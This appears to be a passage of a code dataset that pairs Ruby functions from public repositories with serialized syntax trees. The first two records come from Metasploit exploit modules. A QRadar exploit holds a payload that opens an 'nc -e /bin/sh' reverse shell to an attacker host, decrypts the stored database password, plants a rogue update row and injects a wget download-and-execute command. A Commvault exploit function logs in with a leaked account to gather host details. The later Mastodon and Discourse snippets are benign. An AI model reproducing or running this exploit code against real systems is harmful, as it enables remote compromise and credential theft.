VHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"::\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"srv_host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"srv_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"http_service\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]},{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"str\",\"children\":[\"http://\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"srv_host\"]}]},\"+\",{\"type\":\"str\",\"children\":[\":\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http_service\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Starting up our web service on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http_service\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"start_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Proc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"send\",\"children\":[null,\"on_request_uri\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#!/bin/bash\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"# our payload that's going to be downloaded from our web server\\n\"]},{\"type\":\"str\",\"children\":[\"cat < /store/configservices/staging/updates/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_payload\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"#!/bin/bash\\n\"]},{\"type\":\"str\",\"children\":[\"/usr/bin/nc -e /bin/sh \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" &\\n\"]},{\"type\":\"str\",\"children\":[\"EOF\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### below is adapted from /opt/qradar/support/changePasswd.sh\\n\"]},{\"type\":\"str\",\"children\":[\"[ -z $NVA_CONF ] && NVA_CONF=\\\"/opt/qradar/conf/nva.conf\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"NVACONF=`grep \\\"^NVACONF=\\\" $NVA_CONF 2> /dev/null | cut -d= -f2`\\n\"]},{\"type\":\"str\",\"children\":[\"FRAMEWORKS_PROPERTIES_FILE=\\\"frameworks.properties\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"FORENSICS_USER_FILE=\\\"config_user.xml\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"FORENSICS_USER_FILE_CONFIG=\\\"$NVACONF/$FORENSICS_USER_FILE\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"# get the encrypted db password from the config\\n\"]},{\"type\":\"str\",\"children\":[\"PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\\\w\\\\=\\\\+\\\\/]*)(?=<)'`\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm\\n\"]},{\"type\":\"str\",\"children\":[\"P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)\\n\"]},{\"type\":\"str\",\"children\":[\"P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"#if 7.2.8 or greater, use new method for hashing and salting passwords\\n\"]},{\"type\":\"str\",\"children\":[\"if [[ $QVERSION -gt 727 || -z \\\"$AESKEY\\\" ]]\\n\"]},{\"type\":\"str\",\"children\":[\"then\\n\"]},{\"type\":\"str\",\"children\":[\" PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))\\n\"]},{\"type\":\"str\",\"children\":[\" [ $? != 0 ] && echo \\\"ERROR: Unable to decrypt $PASSWORDENCRYPTED\\\" && exit 255\\n\"]},{\"type\":\"str\",\"children\":[\"else\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`\\n\"]},{\"type\":\"str\",\"children\":[\" [ $? != 0 ] && echo \\\"ERROR: Unable to decrypt $PASSWORDENCRYPTED\\\" && exit 255\\n\"]},{\"type\":\"str\",\"children\":[\"fi\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \\\"insert into autoupdate_patch values ('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_payload\"]}]},{\"type\":\"str\",\"children\":[\"',\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[1000]}]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\",'minor',false,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[9999]}]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\",0,'',1,false,'','','',false)\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"# kill ourselves!\\n\"]},{\"type\":\"str\",\"children\":[\"(sleep 2 && rm -- \\\"$0\\\") &\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Asking QRadar to download and execute \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exec_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O \"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/store/configservices/staging/updates/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_uri\"]}]},{\"type\":\"str\",\"children\":[\" && \"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/bash /store/configservices/staging/updates/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_step2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"pcap[0][pcap]\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"=/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[6]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[6]}]}]}]}]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&pcap[1][pcap]=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"lvar\",\"children\":[\"exec_cmd\"]},{\"type\":\"str\",\"children\":[\"hex-all\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri_step2\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/ForensicsAnalysisServlet/?forensicsManagedHostIps\"]},\"+\",{\"type\":\"str\",\"children\":[\"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_step2\"]},\"+\",{\"type\":\"str\",\"children\":[\"&\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"payload_step2\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SEC=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sec_cookie\"]}]},{\"type\":\"str\",\"children\":[\"; QRadarCSRF=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@csrf_cookie\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[80]}]}]}]}","id":"04a22b65-c6f5-4103-a9e6-b107fe9d2233"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb","start_line":137,"raw_source":"def leak_target_info\n # The 'activeMQConnectionURL' leak depicted in the finder blog post is not present on many systems by default\n # CVE-2025-57788 can be exploited to access an authenticated web API endpoint that leaks host name and OS info\n psu_pass = extract_publicsharinguser_pass\n\n vprint_status(\"Attempting PublicServiceUser login using: #{psu_pass}\")\n res = login_as_publicsharinguser(psu_pass)\n\n fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res\n\n if res.code != 200\n fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable')\n end\n\n # Extract the token from the login response\n regex = /(QSDK [a-zA-Z0-9]+)/\n psu_token = res.body.scan(regex)[0][0]\n\n if psu_token.blank?\n fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable')\n end\n\n vprint_good(\"Authenticated as PublicSharingUser, got token: #{psu_token}\")\n\n res = get_host_info(psu_token)\n\n fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res\n\n if res.code != 200\n fail_with(Failure::Unknown, 'Failed to get host info, the target returned a non-200 status')\n end\n\n regex = /hostName=\"([^\"]+)\" /\n # Extract value, and make sure it isn't a FQDN for systems that are joined to a domain (strip period and anything after, if present)\n hostname = res.body.scan(regex)[0][0].split('.').first\n\n regex = /osType=\"([^\"]+)\" /\n target_os = res.body.scan(regex)[0][0]\n\n if hostname.blank? || target_os.blank?\n fail_with(Failure::UnexpectedReply, 'The target response unexpectedly did not provide a host name or OS string')\n end\n\n return hostname, target_os\n end","complexity_score":55.2,"ast_json":"{\"type\":\"def\",\"children\":[\"leak_target_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"psu_pass\",{\"type\":\"send\",\"children\":[null,\"extract_publicsharinguser_pass\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting PublicServiceUser login using: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psu_pass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"login_as_publicsharinguser\",{\"type\":\"lvar\",\"children\":[\"psu_pass\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get a response from the target\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(QSDK [a-zA-Z0-9]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"psu_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psu_token\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticated as PublicSharingUser, got token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psu_token\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"get_host_info\",{\"type\":\"lvar\",\"children\":[\"psu_token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get a response from the target\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get host info, the target returned a non-200 status\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"hostName=\\\"([^\\\"]+)\\\" \"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"osType=\\\"([^\\\"]+)\\\" \"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_os\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_os\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"The target response unexpectedly did not provide a host name or OS string\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},{\"type\":\"lvar\",\"children\":[\"target_os\"]}]}]}]}","id":"bf8359ac-6161-4fdf-97e8-8679a4fd834e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/config/initializers/rack/attack_spec.rb","start_line":54,"raw_source":"def above_limit\n limit * 2\n end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"above_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}","id":"4a9c9d4b-e461-42f9-810c-dc3dd3472cc1"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/github_pull_request_diff.rb","start_line":46,"raw_source":"def invoke\n api_url = \"https://api.github.com/repos/#{repo}/pulls/#{pull_id}\"\n @url = \"https://github.com/#{repo}/pull/#{pull_id}\"\n\n pr_info = nil\n diff_body = nil\n response_code = \"unknown error\"\n\n send_http_request(\n api_url,\n headers: {\n \"Accept\" => \"application/json\",\n },\n authenticate_github: true,\n ) do |response|\n response_code = response.code\n pr_info = JSON.parse(read_response_body(response)) if response_code == \"200\"\n end\n\n if response_code == \"200\"\n send_http_request(\n api_url,\n headers: {\n \"Accept\" => \"application/vnd.github.v3.diff\",\n },\n authenticate_github: true,\n ) do |response|\n response_code = response.code\n diff_body = read_response_body(response)\n end\n end\n\n if response_code == \"200\" && pr_info && diff_body\n diff = diff_body\n diff = self.class.sort_and_shorten_diff(diff)\n diff = truncate(diff, max_length: 20_000, percent_length: 0.3, llm: llm)\n\n source_repo = pr_info.dig(\"head\", \"repo\", \"full_name\")\n source_branch = pr_info.dig(\"head\", \"ref\")\n source_sha = pr_info.dig(\"head\", \"sha\")\n\n {\n diff: diff,\n pr_info: {\n title: pr_info[\"title\"],\n state: pr_info[\"state\"],\n source: {\n repo: source_repo,\n branch: source_branch,\n sha: source_sha,\n url: \"https://github.com/#{source_repo}/tree/#{source_branch}\",\n },\n target: {\n repo: pr_info[\"base\"][\"repo\"][\"full_name\"],\n branch: pr_info[\"base\"][\"ref\"],\n },\n author: pr_info[\"user\"][\"login\"],\n created_at: pr_info[\"created_at\"],\n updated_at: pr_info[\"updated_at\"],\n },\n }\n else\n { error: \"Failed to retrieve the PR information. Status code: #{response_code}\" }\n end\n end","complexity_score":64.4,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://api.github.com/repos/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]}]},{\"type\":\"str\",\"children\":[\"/pulls/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pull_id\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://github.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]}]},{\"type\":\"str\",\"children\":[\"/pull/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pull_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pr_info\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"response_code\",{\"type\":\"str\",\"children\":[\"unknown error\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_http_request\",{\"type\":\"lvar\",\"children\":[\"api_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticate_github\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]},\"==\",{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pr_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"read_response_body\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]},\"==\",{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_http_request\",{\"type\":\"lvar\",\"children\":[\"api_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/vnd.github.v3.diff\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticate_github\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_body\",{\"type\":\"send\",\"children\":[null,\"read_response_body\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]},\"==\",{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"lvar\",\"children\":[\"pr_info\"]}]},{\"type\":\"lvar\",\"children\":[\"diff_body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"lvar\",\"children\":[\"diff_body\"]}]},{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"sort_and_shorten_diff\",{\"type\":\"lvar\",\"children\":[\"diff\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[null,\"truncate\",{\"type\":\"lvar\",\"children\":[\"diff\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_length\"]},{\"type\":\"int\",\"children\":[20000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"percent_length\"]},{\"type\":\"float\",\"children\":[0.3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm\"]},{\"type\":\"send\",\"children\":[null,\"llm\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_repo\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"dig\",{\"type\":\"str\",\"children\":[\"head\"]},{\"type\":\"str\",\"children\":[\"repo\"]},{\"type\":\"str\",\"children\":[\"full_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_branch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"dig\",{\"type\":\"str\",\"children\":[\"head\"]},{\"type\":\"str\",\"children\":[\"ref\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"dig\",{\"type\":\"str\",\"children\":[\"head\"]},{\"type\":\"str\",\"children\":[\"sha\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"lvar\",\"children\":[\"diff\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pr_info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"se